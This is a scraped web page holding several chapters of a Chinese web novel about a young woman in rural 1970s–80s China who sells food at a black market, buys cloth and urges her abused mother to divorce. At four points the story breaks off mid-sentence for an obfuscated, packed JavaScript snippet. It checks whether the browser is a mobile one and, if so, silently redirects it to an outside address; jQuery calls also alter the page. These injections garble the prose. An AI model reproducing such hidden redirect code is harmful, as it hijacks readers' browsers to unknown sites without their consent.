孙芷星见她出来，去柜台上拿了两个鼓鼓囊囊的纸包递给她：“这是乌梅汤的材料，你拿两包回去煮着喝吧。” 赵小霜可太开心了，她暗自感叹孙家这一对爷孙真的心地善良，接过孙芷星的乌梅汤材料包，她兴冲冲地就准备回家，却又被孙芷星叫住：“小同志，你脸上伤口快愈合了，最近估计掉痂会很痒，可千万不要抠，会留疤的。” 赵小霜回想了一下，最近她还确实是不自觉地总挠脸，她谢过孙芷星，外边的天气也终于没有中午那么烈日炎炎把人烤熟的感觉了，她又转头去了黑市巷子，想着把剩下的红油猪耳朵卖掉，再买一些好吃的和家里人庆祝一下。玻璃板也只能让小舅借自行车再去买了，她不好意思再麻烦周医生跑这么一趟，自己也确实带不回来，而和木工师傅约定的就是下周开始动工，也就是后天木工师傅就会带着工具来了，没有玻璃板就没办法做，所以她准备催着小舅明天就去买回来。 平日里的这个点黑市人很少，但今天是休息日，陆陆续续也来了不少人，赵小霜的红油猪耳朵很快就卖的差不多了。她远远看到了刘哥，挥着手打了招呼，刘哥看到她也是明显露出开心的神色：“大妹子，这都好长时间没见你了，上次你让老四给我带的油鸡枞，我带回家给孩子们吃了，她们都说特别香！你最近还好吧？” 话音刚落，刘哥就看到了赵小霜脸上的伤口，赵小霜摸了摸脸：“嗐，小伤，不要紧。” 还没等刘哥再开口说话，赵小霜就给他夹了一筷子猪耳朵，用干净的快餐杯盖递给他：“刘哥，尝尝我新研发的凉菜，保准你爱吃。” 刘哥今天来黑市并不是来卖东西的，他的大女儿和二女儿都要到上学的年纪了，家里这几年靠着刘哥四处做点小买卖光景还撑得下去，刘哥就想送她们去县城第一小学念书，这个年代的学期还是按一整年来设置的，第一个学期在农历春节之后，第二个学期则是在农忙之后，也就是九月多十月份。刘哥准备让大闺女在明年春节过后入学，他想趁天气没冷，来给孩子买点劳动布缝制衣服和书包。 他嚼了一口猪耳朵，立刻露出了惊艳的神色：“大妹子，你这个做的真不错，我早年间去过南方，那边人爱吃辣的，我吃过类似的菜，但是比你这个可差远了！” 赵小霜笑着问：“刘哥，你今天东西都卖啦？” “不是，我今天来扯点布，给孩子做点衣服。” 听到这话，赵小霜立刻振奋起来：“刘哥，我也想扯点布，我想给家里人做个棉衣，打个被子，您带我一块去呗！” 之前林建华陆陆续续买了一些棉花和劳动布回来，但是也只够做两三件衣服的，要做被子可是完全不够，她一直琢磨着再去扯点布，苦于没收到布票，这下简直是瞌睡来了有枕头。 赵小霜把剩下的一大份红油猪耳都打包了起来递给刘哥，就收了背篓要跟着他走。刘哥连连摆手：“这不能白要你的，这么多肉要不少钱呢！”赵小霜可不在意这些，刘哥每次出现都能带赵小霜买到好东西，简直就是她的采买领路人，赵小霜把东西推给他：“以后我买东西还得靠您帮忙呢，快拿着，回去给嫂子妹妹吃。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883665|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>见赵小霜坚持，刘哥也没再推脱，他把包好的猪耳朵放进斜挎的解放包里，就带着赵小霜朝巷子另一边走去，刘哥个子不高，走起路来却步步生风，他砸吧砸吧嘴，回味了一下猪耳朵的味道，又想起来什么似的：“大妹子，这边卖的可都是没加工的棉花，粗布倒是有一点，不过大部分都是自家做的土布，便宜倒是也便宜，也不要布票棉花票，就是质量可能没有那么好。” 赵小霜也不在意这个，这个时候有就不错了，哪里还能挑挑拣拣的，她点点头：“我知道了刘哥，这都没事，您一会儿帮我挑挑呗，我也不会看。” 两人一路聊着，就到了巷子尽头的一家门跟前，里边的人和刘哥对了暗号，这才放他们进去，院子看着就是一个普通的小四合院，进了里屋，却满满地堆着布料，刘哥先挑了几尺普通的劳动布，又买了十几尺颜色好看的土布。赵小霜学着他的样子对布料摸一摸搓一搓，这些土布都是人工搓线纺织的，比不了机器做的布均匀光滑，经纬线都或多或少有一些疏密不均，基本都是米白灰色的，有的用植物染料染了蓝色，偶尔有一些斜织的图案，看起来也十分质朴简单。但这种手工土布质地更为厚实，透气性和吸湿性也比机器织的布要好很多，用来做被子和衣服的内里贴身穿再好不过。 这里的土布卖的便宜，三毛一尺，劳动布却比市面上贵出许多，要八毛钱一尺，但非常耐用，做成外衣耐磨不坏，因此赵小霜也咬咬牙决定买，这种没处理的棉花就比较便宜了，一斤只要两毛钱。最后在刘哥的帮助下，赵小霜选了两筒材质较好的米白色布，差不多五十几尺，二十一尺劳动布，还挑了十斤的带着棉花籽壳和枝叶的棉花。 他们一家四口人，就算把旧被子里的棉花掏出来翻新再一起用，也还需要不少新布料和新棉花呢，赵小霜没怎么犹豫，就直接花钱买了下来，她来的时候就在外边放了六十几块钱准备买材料，这一下就掏出去五十一块八毛钱。 刘哥眼睛瞪大了，卖猪头肉可没有这么暴利啊，他凑过去小声问赵小霜：“大妹子，你这做啥买卖了挣这么多钱？”问完以后他可能也觉得冒犯，毕竟现在挣点钱不容易，人家凭啥告诉你挣钱的法子呢？他又压低声音叮嘱道：“大妹子，别怪哥多管闲事，你就算挣钱了，也还是得省着点花，别大手大脚的，稍微存点。” 赵小霜知道刘哥也是好意，她笑着谢了刘哥，毕竟赵小霜前世在八十年代生活过，她的一些习惯在现在看来可能确实有些大手大脚，但她不愿意忍饥挨饿，别人不知道，她却知道后边经济会越来越好，她也相信自己能挣到大钱，所以实在没必要苦着自己和家人，会过日子才能挣到更多的钱嘛。 买完布和棉花，和刘哥告别以后天色逐渐暗了下来，她又去买了两只鸡鸭，一条大鲤鱼，两只家养的兔子，还有一些土豆茄子之类的。今天药材挣了三百七，买布料花了五十一块八毛，肉菜花了十三块六毛，加上之前的钱，她现在已经有三百九十五块四毛钱了，得到这个结果，赵小霜的心简直要飞到天上去，她一路踩着月光，哼着歌朝家里走去了。 15. 妈，你想离婚吗 赵小霜一进门就看到了神色慌张的林秀英，后边的林建业正要披着外套出门，见赵小霜回来，两个人同时松了一口气，林秀英一把抱住了赵小霜，长长地出了一口气。 “妮儿，你可算回来了。”又捏着她的肩膀上下打量检查着，声音颤抖地问：“你有没有哪里受伤？啊？” 原来林建华傍晚的时候回家来拿铺谷子的木耙，见门口地上的玻璃不见了，旁边却有一些玻璃碴子和血迹，其实赵小霜回来取酱菜和猪耳朵的时候，稍微收拾了一下，就是怕林家姐弟看到以后担心，但时间紧迫，并没有完全收拾干净。 起初林建华担心是赵小霜自己搬玻璃划伤了，屋里左找右找却不见人影。林建华又跑去西边的王阿婆家问，这一问才知道，今天赵令强找来家里，还打了赵小霜！林建华心里一下子慌了，他和大哥都已经从林秀英那里知道赵令强要把赵小霜卖了换彩礼，王阿婆也说再没见着人，林建华担心赵令强把赵小霜绑架了，急急忙忙地去地里喊回来林秀英和林建业，自己则跑去大队借自行车。 此刻见赵小霜完整地回来了，林秀英后怕地颤抖着，当她看到赵小爽手上的纱布时，又忍不住落了泪，这个时候林建华也急急忙忙地骑着自行车回来了，看到赵小霜，他把车往门洞一扔，就跑了过来。 “小霜，你有没有事？是不是赵令强绑架了你？” 看着一家子为她担心的模样，赵小霜也红了眼眶，但她忍住没有哭，她把背篓卸下来，不顾林秀英的阻止，把手上的纱布解开，一层一层地绕下来，掌心的伤口在碘酒的刺激下又出了不少血，现在结成了痂，混合上碘酒的棕色，她的手现在看起来血肉模糊。林秀英一下子就哭出了声，她想抓住赵小霜的手，又怕伤到她。林建华已经怒不可遏了，他转头去扶自行车：“我今天非打死那个王八蛋！” “小舅！” 赵小霜叫住他，“你们冷静一点，现在去打他除了发泄，没有任何用处。” 她转头看向林秀英：“妈，你愿意和赵令强离婚吗？” 这个年代离婚的实在太少，就是在川阳市，估摸也没有几个，在西顺县这样的小县城就更没有听说过了，家家户户都或多或少认识，谁要是离了婚，简直要被指指点点一辈子。 赵小霜等着林秀英的回答，赵小霜上一世已经签了离婚协议书，并托人转交给了庄白川，但后续的事情她却一点都记不起来了，不管怎么想都是模模糊糊的，赵小霜甚至都怀疑上辈子的事情是不是她在做梦。对赵小霜来说，离婚虽然也很痛苦，但八零年颁布了新婚姻法，强调了婚姻自由，在城市里的人们从观念上也更能接受离婚这件事了，因此她不会担心别人的指责。 林秀英不一样，她从小听的话就是“打死也不能离婚”，更何况现在的舆论压力也大，谁要是有离婚的想法，会被街坊邻居和亲人轮番指责，强加压力，让受害方咬牙吞下苦果，维持表面的和谐，王农栋的两个老婆横死就是活生生的案例。 林秀英捂着脸蹲下去，低声啜泣了起来：“可是，离了婚，我们要怎么生活呢？我离了婚，以后你结婚怎么办？”林秀英的考虑不无道理，这个年代嫁娶婚配都是要考虑双方家庭的，一旦林秀英离婚，赵小霜就成了单亲家庭的孩子，她自己也没有工作，怕是很难找到好的人家了。 赵小霜摇摇头：“妈，赵令强有给过你多少钱吗？家里我们的吃喝不都是你干零工攒的吗？现在我已经能做小买卖挣钱了，生活方面你不用担心，至于我结婚的事情，你就更不要担心了，如果男方因为我们的家庭就嫌弃我们，那他也不是什么良配。” 赵小霜没敢直接说自己不打算结婚的事情，她看了看蹲在地上哭泣的林秀英，叹了口气：“妈，就算我们留在赵家，他们难道真的会给我找一个好人家吗？赵令强满脑子只想把我卖掉换彩礼钱，王农栋家里什么情况你也都知道，我嫁过去，可能就再也回不来了。” 说罢，赵小霜拿着背篓进了屋里，留下院子里的林家三姐弟，她本来想着回来做一顿大餐和他们庆祝一下，眼下却没了心情，她把大鲤鱼找了个盆倒上水养着，又把鸡鸭和兔子放到院子里，林秀英此时已经在林建业的搀扶下站了起来，眼神却呆呆滞滞的，两行泪痕还挂在脸上。 赵小霜不再多言，经历了这一天，她也已经身心俱疲，卖掉药材的那种兴奋和快乐已经消失殆尽，赵小霜进屋里喝了一口凉水，和衣睡下了。 迷迷糊糊睡到半夜，赵小霜感觉身边有人给她盖了被子，又抓起了她的手，赵小霜睁开眼，看到林秀英的眼眶红肿着，正在给她包扎伤口，林秀英自己手心被碗片扎穿的伤口已经好得差不多了，看到赵小霜手心和她位置差不多的伤口，她一边包扎一边心疼地直落泪。见赵小霜醒了，她赶忙擦了擦眼泪。 “妈。” “小霜，都怪妈，是妈没本事。” “不是你的错，妈。” 林秀英听到这句话，又忍不住痛哭了起来：“要是妈早点离婚，你也不用和妈一样，被那个人打成这样。” 林秀英给赵小霜包好了伤口，似是下定了决心一般：“小霜，妈明天就去和赵令强提离婚。我不会再让他伤害你。” 说完，拍了拍赵小霜的背，安抚道：“别担心了，睡吧。” 赵小霜却一骨碌坐起来，抓着林秀英的衣角：“妈，你直接去提赵家人不会同意的，就算他同意，你现在没有工作，办离婚的时候我也会被判给他的。” 林秀英不懂这后边的事情，她呆住了：“那，那咋办？” 赵小霜抓过她的手：“妈，你信我不，你什么都不用管，等时机到了，你跟着我去县里办离婚证就行。” 赵小霜不准备把王雪兰的事情告诉她妈，秀英这一个月以来肉眼可见地焦虑和害怕，虽然赵小霜又是做白面又是做肉食的，却一点没把林秀英喂胖，赵小霜有时候半夜醒来，也经常看到林秀英坐在黑黢黢的屋子里发呆。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883666|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >赵小霜害怕这件事对她造成更大的伤害，而且这件事她暂时还没有找到实质性的证据，她不想节外生枝，现在林秀英的态度已经明确了，等一切都准备好，她再告诉林秀英就是了。 赵令强明天还要上工，这几天估摸着都不会再来了，而且马上农忙结束，大家都会在家呆着，赵令强是个外强中干的怂包，有林建业和林建华在家，他就算来了也不一定能怎么样。 眼下的事情太多，赵小霜也有些顾及不过来了，但她已经做好了打算，白天她依然去黑市做买卖，卖完东西以后就去盯梢赵令强，赵令强和王雪兰已经光明正大地一起出入国营超市，想必这两个蠢人的奸情也是纸包不住火，总能让她抓到证据的。 她再一次安抚了林秀英，让她放下心来，两个人在黑暗中沉默着，直到听到林秀英均匀的呼吸声，赵小霜也才慢慢睡着。 第二天天还没亮，赵小霜就醒了，这一夜她睡得并不踏实，但她需要尽快买回来玻璃和木板，师傅这两天就会过来换窗户。自行车她昨天有和刘哥提到，但刘哥说最近的自行车供应很紧张，不一定能买得到，也答应了帮她照看着。赵小霜做酱菜需要买非常多的食材，后边也得常去县里，大队的自行车不可能天天借给她，如果一时半会实在买不到，她准备去县城里花钱找人借一辆，按天数给人家算钱。每天省下来的两个小时，她可以在家多研究一下食谱，这次的机会难得，她想尽一切努力增大成功的可能性。 等林建华醒了，赵小霜告诉他买玻璃的地址，交给他三十几块钱和一些肉票，让他帮忙带回来一些需要用的香料和猪肉，院子里的柿饼也挂霜了，正是售卖的最好时机，赵小霜把柿饼都卸下来，用报纸包好装进背篓里递给林建华。林建华昨天借的大队的车还没还，他随便吃了一口窝窝头，就风风火火地骑着车出门去了。 距离钢铁厂的活动还有十天左右，酱菜只需要提前三天做就可以，腌制太久菜也会变得软趴趴的，颜色也会氧化变黑，就没有那么好吃了。至于菜谱，她心里已经有了大概的计划，等自己在家做一下搭配好了，再拿去和安厂长商量调整就行。 赵小霜一下感觉闲了不少，卤味她现在做起来已经非常快了，用不了多少时间。她想起来那天周翊凡说的外保温层，心里一动，找了纸笔开始写写画画。 她用长卷尺大概量了一下屋里的尺寸，又跑到院子里沿着墙根用脚步丈量了一下院子的大小，现在院里正中间种着蔬菜，除了进屋的一个小走道，几乎没什么空间了。赵小霜想在院子的东边种一颗桃树，春天可以看到粉艳的桃花，秋天还能吃桃子，做桃子罐头、桃子果酱。 就算以后他们搬去城里住了，老家的院子也是林家三姐弟和赵小霜的来处，在外边打拼累了，这里也是他们可以回来的归处。因此赵小霜想趁这次机会，把屋子院子全都翻新一遍，解决了保暖的问题，外观也要看着亮堂舒服，一家人在这儿开开心心的，对赵小霜来说，比什么都重要。 16. 半大小子吃穷老子 赵小霜算了算，自己一跨步大概是65厘米，院子东西是二十四步多，也就是16米左右，南北宽大概10米，其实这样算下来，整体面积也不小了，赵小霜准备好好规划一下，增加一些新的功能区域。 比如在西南向的墙根下边搭建一个兔窝和禽窝，用来养一些家畜。院子正门开设在东南方，赵小霜准备加建一个影壁，村子里也叫照壁，这样既可以在进门之前留下一块缓冲的地段，还可以保护屋内的隐私，尤其家里换了玻璃窗户的话，影壁可以隔绝外人的视线，在屋里也不容易被人打扰窥伺。 目前院里的菜就是直接一垄一垄顺着院子的方向种的，赵小霜想留出中间的道路再加宽点，铺个石砖，这样就算下雨天，他们回来走过院子也不会踩的一脚泥泞了，屋里也能保持干净。 屋里头修缮的地方就更多了，好在土炕是好的，不需要重新垒，只需要用牛皮纸把表面重新糊一下就可以了。正好秋收快结束了，田头会有许多麦秸秆，赵小霜准备整点回来，晒干以后编一个新的麦秸秆垫子铺炕上，这样冬天睡觉会更加干燥暖和，又不用花费太多的钱。 现在家里只有一张破破的桌子和两个柜子，赵小霜准备请师傅打两个大的柜子放炕上，用来放衣服和值钱物件，一进门这边再打个立柜，放一些食材碗筷和常用的东西，原来的旧立柜正好给她放院里的灶台旁边，她平时放点瓶瓶罐罐调料和食材，做饭就更方便了，不用一趟屋里一趟屋外地跑。桌子实在太旧了，也不好再修缮，肯定是要打新的，赵小霜准备和师傅沟通一下看能不能把旧的拆了做成小板凳和小椅子，平时家里随时随地都能用，也不算浪费。 如果时间充裕，师傅也有空的话，再给家里的墙面刮个大白，地面铺一层水泥，整个家就会看起来干干净净，整整齐齐的了。 至于屋顶和保温层，就不是赵小霜能弄明白的了，她把周翊凡说的问题记到图纸的旁边，打算等师傅来了问一下。 画完图已经快要中午，赵小霜估摸着林建华一会儿就回来了，早上林秀英和林建业已经把菜都洗好备好了，其实他们俩压根不想让赵小霜再做饭，但是在拗不过赵小霜，又怕她自己一个人洗菜切菜伤口沾了水，只好在出门之前把赵小霜可能用到的菜都处理好放到灶台边。 她准备先研究做几个新菜试试水，辣菜她还算拿手，但是昨天周翊凡叮嘱了她最近不要吃辣，怕刺激伤口发炎，所以她准备这两天就先研究一下清淡口味的菜品。 赵小霜大概规划了一下席面的菜品和数量，她准备做四道冷菜，六道热菜，再加一个汤和一份主食，由于有“餐标”的限制，她准备只做两个肉菜作为主菜，剩下的都做成小炒菜和素菜。林建业昨天已经帮她把鸡处理好了，赵小霜把鸡腿和鸡翅拆出来，剩下的肉剁成大块，又把猪筒骨砍开洗干净，和鸡肉一起下冷水加葱姜焯水。再另起一个大锅，下入焯过水没有血沫的猪骨和鸡块，再加入一些洗干净去掉油脂的猪皮和拍散的生姜块，倒入白酒，大火熬煮以后再转小火熬煮。这样熬出来的高汤是奶白色的，而且浓郁香醇。可以用来做高汤娃娃菜、高汤白豆腐、高汤鱼丸煲、高汤蒸蛋，味道都非常鲜美，而且成本不高，很适合这次的席面。 因为加了猪皮，高汤会变得更浓郁，一顿吃不完可以把高汤放进小罐子里，冷却以后就像是奶白的皮冻一样，秋冬天放到外边也不会坏，吃的时候倒出来一块，放入锅里煮开，用来下面条也是一绝。 大锅这边熬煮着高汤，赵小霜又把大鲤鱼处理干净，这年头会做鲤鱼的人不多，主要是不会处理它的土腥味儿，因此卖的非常便宜。赵小霜准备做一个酱香的干烧鱼。她把鱼两面开花刀，抹上白酒和盐去腥味儿，再均匀地抹一层红薯淀粉。等油烧热了，捏着鱼头和鱼尾下锅煎炸至金黄，这个时候的花刀因为高温绽开，而淀粉又恰到好处地给它定了型。 鱼煎炸好以后，用锅里剩下的油把葱姜蒜末、花椒、豆瓣酱炸出香味儿，加一点清水和白醋，熬成酱香味儿的料汁，再把鱼小心翼翼地放进去，中火烧制五分钟，等料汁都变得浓稠，挂在鱼身上的时候，就可以出锅了。 这边赵小霜正在给灶台里加柴火，林建华也骑着车回来了，他不光买回来了玻璃，还把木工师傅也带回来了，木工师傅今天本来要给纺织厂的职工宿舍装玻璃，结果那边今天在维修水管，忙的不可开交，所以就推迟了窗户的安装。 林建华过去找这个李师傅买玻璃的时候，正好遇上师傅带着两个徒弟从纺织厂回来，李师傅听林建华说明了来意，就带上他去城南把木板也买了，四个人结队回到林家庄，刚一进巷子口，就闻到了极其浓郁的香味儿，直往人鼻子里钻。两个徒弟中那个年龄小的刚刚拜师一年左右，看着也就十五六岁的样子，皮肤晒得黝黑，眼睛却亮晶晶的，一看就是小孩子。他忍不住用力吸了吸鼻子：“师父，好香呀！” 林建华一进门也闻到了这个从来没闻过的味道，他好想跑过去看看赵小霜又做出来了什么好东西，又怕玻璃不小心碎了，只好强忍着好奇心和馋虫，先找了个安全的地儿把玻璃卸下来，这才跑过去看灶台。 “小霜！师傅今天过来了，说下午就能安窗户了！你又做什么好吃的了？” 李师傅和赵小霜点了点头算是打过招呼，就打开工具袋准备干活儿。赵小霜没想到师傅今天就过来了，还好她昨天买了很多肉和菜，不然一时半会还真不知道怎么给大家做饭。 这个时候农村盖房子、修缮房屋，都是要包施工师傅的中饭和晚饭的，一般人家可能做点粗粮窝窝头、白菜豆腐炖粉条就行，家庭条件好一点的人家会做土豆炒肉、韭菜炒鸡蛋，给工人弄点油水，不然干活儿没有力气。要是能再炖点猪肉，喝点肉汤，就已经是非常有钱的人家了。 赵小霜本来想把高汤留着这几天慢慢吃，见师傅来了，也就干脆不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883667|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存了，她准备用一半高汤下点杂粮面条，另一半高汤留着晚上做白菜炖豆腐。干烧鱼已经做好了，赵小霜用锅盖把它盖住防止变凉。又从屋里取了一块肥瘦相间的猪五花，从院子里摘了一些土豆茄子洗净切片，和五花肉片一块用辣椒爆炒，出锅的时候再沿着锅边淋一圈白酒，激发出辣椒的香味儿。 李师傅的两个小徒弟跟着师父到处施工，也没少“蹭吃蹭喝”，这年代吃不饱饭的人还非常多，但他们俩跟着李师傅有活儿干，也经常能吃到荤腥，明显比同龄人的个子要高很多，此时却被这香味儿迷得晕晕乎乎的。不过不说他们，就是李师傅也从来没有闻到过这么勾人的香味儿，尤其奔波了一上午，正是饿的时候，他也已经暗自咽了几次口水了。李师傅带着徒弟量窗户尺寸，在木板上画线，小徒弟做一会儿就扭头看一下灶台，已经馋得口水都要流出来了。 李师傅不时盯着小徒弟叫一声，最后终于忍无可忍用手拍了一下他的脑壳：“看什么看！赶紧记一下尺寸！” 李师傅心里暗暗摇头，因为上午去了一趟纺织厂，导致到赵小霜家的时间正好在饭点，一般人家虽然也都会包他们的午饭，但这种临时过来的，也就顶多吃个窝窝头和炒白菜。没想到这家人今天做的这么香的菜，就算不知道是什么，李师傅也能闻出来肯定是肉菜。看着两个小徒弟不争气的样子，他心底里有种“专门卡点来蹭饭”的羞愧感。 赵小霜就没想那么多了，她利索地拿了一个大盆，按合适的比例放上高粱面、玉米面和白面，都说“半大小子吃穷老子”，这俩小徒弟正是能吃的时候，修缮房子又是体力活儿，赵小霜干脆又放了几碗玉米面，整整弄了一大盆，然后她就喊林建华帮她和面。 这个时候，高汤也熬得差不多了，赵小霜把棒骨和鸡肉捞出来，把汤里的骨头渣子滤干净，一大锅老母鸡猪骨高汤就熬好了。赵小霜捞出来一半的高汤放进干净的罐子里，另一半留在锅里，加上葱结、花椒粉、胡椒粉调味，工人干活儿重，需要吃咸一点，赵小霜又多给汤里加了一些盐和生抽。那边林建华也迅速地和好了面，用擀面杖把面团擀开，折叠起来切成条，就直接下进高汤锅里，等煮开了再倒一些冷水，这样反复三次，劲道弹牙的高汤杂粮面条就煮好了。 林建华收拾着灶台，赵小霜跑出去叫林秀英和林建业回来吃饭。干烧鱼被锅盖盖住以后香味儿淡了很多，但高汤锅又揭开了，鸡肉散发着淡淡的肉香，而猪骨被高温炖煮以后，溢出了非常浓郁的脂肪香气，骨汤的香味儿在余温的蒸腾下很快布满了整个院子。两个小徒弟早已经“身在曹营心在汉”，恨不能把鼻子像匹诺曹一样变长去近距离闻闻那个馋人的骨汤。 等一家人都从田里回来了，林建华才把干烧鱼、土豆茄子炒肉片、老母鸡猪骨高汤面条一一端上桌，赵小霜又从坛子里捞了一些糖醋萝卜丁和酸辣豆角，林家小院的修缮改造“开工宴”也终于正式开始了。 17. 麦乳精和碘伏 赵小霜招呼工人们入座吃饭，正好干烧鱼是她第一次做，也好让大家点评一下味道如何。两个小徒弟把锯子放下，看了看师父的脸色，李师傅拍拍他们的脑袋：“去吃吧。”他自己则继续量着尺寸，想把尺寸一次性量完再吃。 赵小霜怕大家不够吃，又热了几个玉米面窝窝头放在桌上。她扭头看到李师傅还在用卷尺量木板，赶紧走上前招呼：“李师傅，吃完再量吧，菜凉了就不好吃了。” 李师傅终于记完了最后一个尺寸，起身到饭桌前，饭桌正中间是一条酱色浓郁的开花大鲤鱼，每个人都有一碗奶白的骨汤面条。赵小霜还不好意思地笑了笑：“不知道你们今天来，这鱼就买了一条，大家分着吃吧，不够的话还有窝窝头，正好你们也帮我点评点评，这鱼做得怎么样。” 大家都陆陆续续落了座，两个徒弟虽然馋得不行，却也懂得礼仪教养，没有直接动筷子，等大人们开始吃了，大徒弟才小心翼翼地从鱼尾巴夹了点鱼肉给小徒弟，他自己则端起碗猛猛喝了两口骨汤，又嗦了一口面条，猪骨骨髓已经煮化到汤里了，脂肪的香味儿随着面条被他吸溜下肚，热乎乎的，别提多满足了。 赵小霜把鱼往他们那边推了推：“多吃点多吃点，别客气，我们家这可都靠三位师傅了。” 李师傅则夹了一筷子土豆茄子炒肉片，肉片切得薄厚均匀，肥肉晶莹剔透，瘦肉纹理均匀，调料放的不多，基本只有辣味和咸味，带着一点点酒香，越嚼越有味道。 这边正吃着开心，突然传来了敲门声：“赵同志，你在家吗？我是庄白川。” 林建华正要起身，赵小霜却先一步起身去开门了，门口庄白川正拎着一袋子东西，穿着干净的白衬衫，有些傻气地等着她开门。 赵小霜对现在的庄白川情感很复杂，她对他上一世的行为深恶痛绝，在赵小霜看来，两个人已经闹到不可开交老死不相往来的程度。但这一世的庄白川还没有和她结婚，甚至还没有谈恋爱，赵小霜对他是不应该有其他情绪的，加上庄白川屡次三番救她帮她，赵小霜不乐意欠别人人情，这一份恩情她就算再不喜，也还是要想办法还上。 赵小霜朝他点点头：“有什么事吗，庄同志。” 庄白川似是没想到她对他这么冷漠，笑容微微一滞，随后又把袋子举起来：“我来看看你，给你买了些东西，你的伤怎么样了？” “小霜，谁呀？”林秀英在里边问着，赵小霜没法，只能开门让庄白川进来，庄白川也闻到了肉的香味儿，他有点尴尬地说：“不好意思啊小霜，我不是专门卡饭点来的，我中午一到公休时间就赶紧过来了……” 赵小霜摆摆手，无所谓地说：“你还没吃饭吧，一块吃吧。” 一进屋，林秀英就认出来这是从水库救下赵小霜的知青，她赶忙站起来迎接，赵小霜简单介绍了一下：“我妈，我舅，这几位工人师傅是来给我家换窗户的。” 她扭头和林秀英说：“妈，这位是庄白川同志。” 几个人互相打了招呼，庄白川把手里的袋子递给赵小霜，林秀英给庄白川拿了一副碗筷，招呼他坐下来一起吃，正好林建业的面条还没动，就给庄白川分了一半，庄白川有些不好意思地接过，他的肚子也不争气地咕噜噜叫了起来。 庄白川第一口面条还没下肚，门外又传来了咚咚的敲门声，今天这林家小院也太热闹了吧！赵小霜想不出来是谁还能来她家，她放下刚端起的碗，再次起身去开门。 这次是穿着浅灰色确良衬衫和黑色长裤的周翊凡，他手里也拎了个小袋子：“小霜同志，我今天休假，来看看你，手上伤口怎么样了？” 赵小霜都懵了，这架势，好像她伤的有多重似的，怎么一个两个都赶在今天来看望她，她有些哭笑不得地举起包裹严实的手给他看：“没事，这都小伤，好差不多了。” 周翊凡跟着她进门，显然没想到屋里居然有这么多人，赵小霜只好又介绍一遍：“周医生，这是庄白川同志，庄同志，这是周翊凡医生。” 庄白川也明显一愣，随即站起来和周翊凡打招呼：“你，你是上次给小霜包扎的那个医生吧，小霜上次多亏您了。” 这仿佛家属一般的语气让周翊凡不自知地皱了皱眉，面上却仍然带着微笑和庄白川握手：“你好，我是小霜的朋友，第一次见你，幸会。” 两个人心思各异地落座，赵小霜把自己端起来两次都没吃的面条给周翊凡分了一半，饭桌上一时有些冷场，李师傅率先打破尴尬：“你上次那玻璃都怎么回事？那都是特别好的玻璃，怎么就全弄碎了？” 李师傅的语气了带了一丝责怪：“以后还是得小心着点，这玻璃不好搞，哪一家的玻璃不是小心翼翼地用着。” 赵小霜知道师傅也是心疼东西，这年头玻璃很难买到，如果不是看在周医生的面子上，估计师傅卖都不会卖给她。 赵小霜道着歉：“对不起师傅，我爸昨天来闹事，把我推倒了，这才砸碎了玻璃，以后我会多加小心的。” 李师傅听了赵小霜的话，一时呆愣在原地，他原本只当是赵小霜年纪小不懂事，不会好好爱护物品，才把新买的玻璃都弄碎了，没想到竟然……又想起赵小霜手上包的纱布，他在心里给了自己一巴掌，真是哪壶不开提哪壶。 他支支吾吾地答应了两声：“啊，啊，这样，以后小心点就行，别伤着自己了……” 这下饭桌上的气氛更加尴尬了，几个人一时都不知道说些什么好，各自夹着菜咀嚼着，而两个小徒弟已经完全□□烧鱼俘获，什么都听不见了，赵小霜做出来的干烧鱼外皮酥脆，用汤汁浸润后，鱼皮变得哽啾滑溜，而鱼的肉质又鲜美肥嫩，蘸上酱香的汤汁，鲜香可口，两个人吃得停都停不下来。赵小霜叮嘱他俩：“这鱼可刺儿多，你俩吃慢点，喜欢吃的话我明天再做这个，别让刺卡着喉咙了。” 周翊凡抬头看着赵小霜：“你爸来闹事儿？怎么没和我说？” 赵小霜一头雾水，她和周翊凡才认识几天，和他说这个干什么。她挠了挠脸，呵呵地干笑着： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883668|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “家丑不可外扬，家丑不可外扬。” 